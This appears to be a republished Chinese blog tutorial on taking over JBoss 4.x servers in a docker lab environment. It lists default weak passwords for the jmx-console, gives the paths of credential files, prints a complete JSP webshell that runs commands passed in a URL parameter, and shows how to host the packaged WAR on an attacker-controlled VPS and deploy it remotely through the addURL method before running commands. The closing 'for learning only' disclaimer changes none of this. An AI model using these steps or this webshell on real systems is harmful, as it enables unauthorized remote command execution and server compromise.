JBoss 4.x 弱口令未授权访问 + 部署war包getshell
Posted 浪人联想
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JBoss 4.x 弱口令未授权访问 + 部署war包getshell相关的知识,希望对你有一定的参考价值。
Jboss常见弱口令:
admin/admin
jboss/admin
admin/jboss
admin/123456
admin/password
jboss 4.x 及其之前的版本 console 管理路径为 /jmx-console
和 /web-console
;
打开漏洞环境:
进入漏洞命令行界面:
docker exec -it [镜像id] /bin/bash
登陆信息存放位置:
cat /opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties\\
#格式为:账号=密码
账号密码为admin;admin
jmx-console
的配置文件为
cat /opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
#jboss的绝对路径不同网站不一样
web-console
的配置文件为
cat /opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
访问 Jboss管理后台
http://192.168.8.9:8080/jmx-console/
输入admin,admin登陆
弱口令进入后台。
进入后台后,点击 Jboss.deployment 进入应用部署页面:
http://192.168.8.9:8080/jmx-console/htmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
制作war包
构造jsp马,shell.jsp:
<%
if("123".equals(request.getParameter("pwd")))
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1)
out.println(new String(b));
out.print("</pre>");
%>
密码为:123,命令执行参数为:i
压缩为zip文件,修改后缀为war
或者
jar cvf shell.war shell.jsp
部署war包
将shell.war
放在我们的VPS上
python -m SimpleHTTPServer 8888
找到 void addURL()
注意这里ParamType是java.lang.String,然后在ParamValue填入我们远程的war包,点击invoke
http://192.168.8.10:8888/shell.war
返回successfully
查看部署是否成功
返回到刚进入jmx-console的页面,找到 jboss.web.deployment.
http://192.168.8.9:8080/jmx-console/
如果没显示,多刷新几次页面或者稍等一下,直到看到有部署的war包即可
部署成功!
访问木马
http://192.168.8.9:8080/shell/shell.jsp?pwd=123&i=id
仅供学习!
ok!
以上是关于JBoss 4.x 弱口令未授权访问 + 部署war包getshell的主要内容,如果未能解决你的问题,请参考以下文章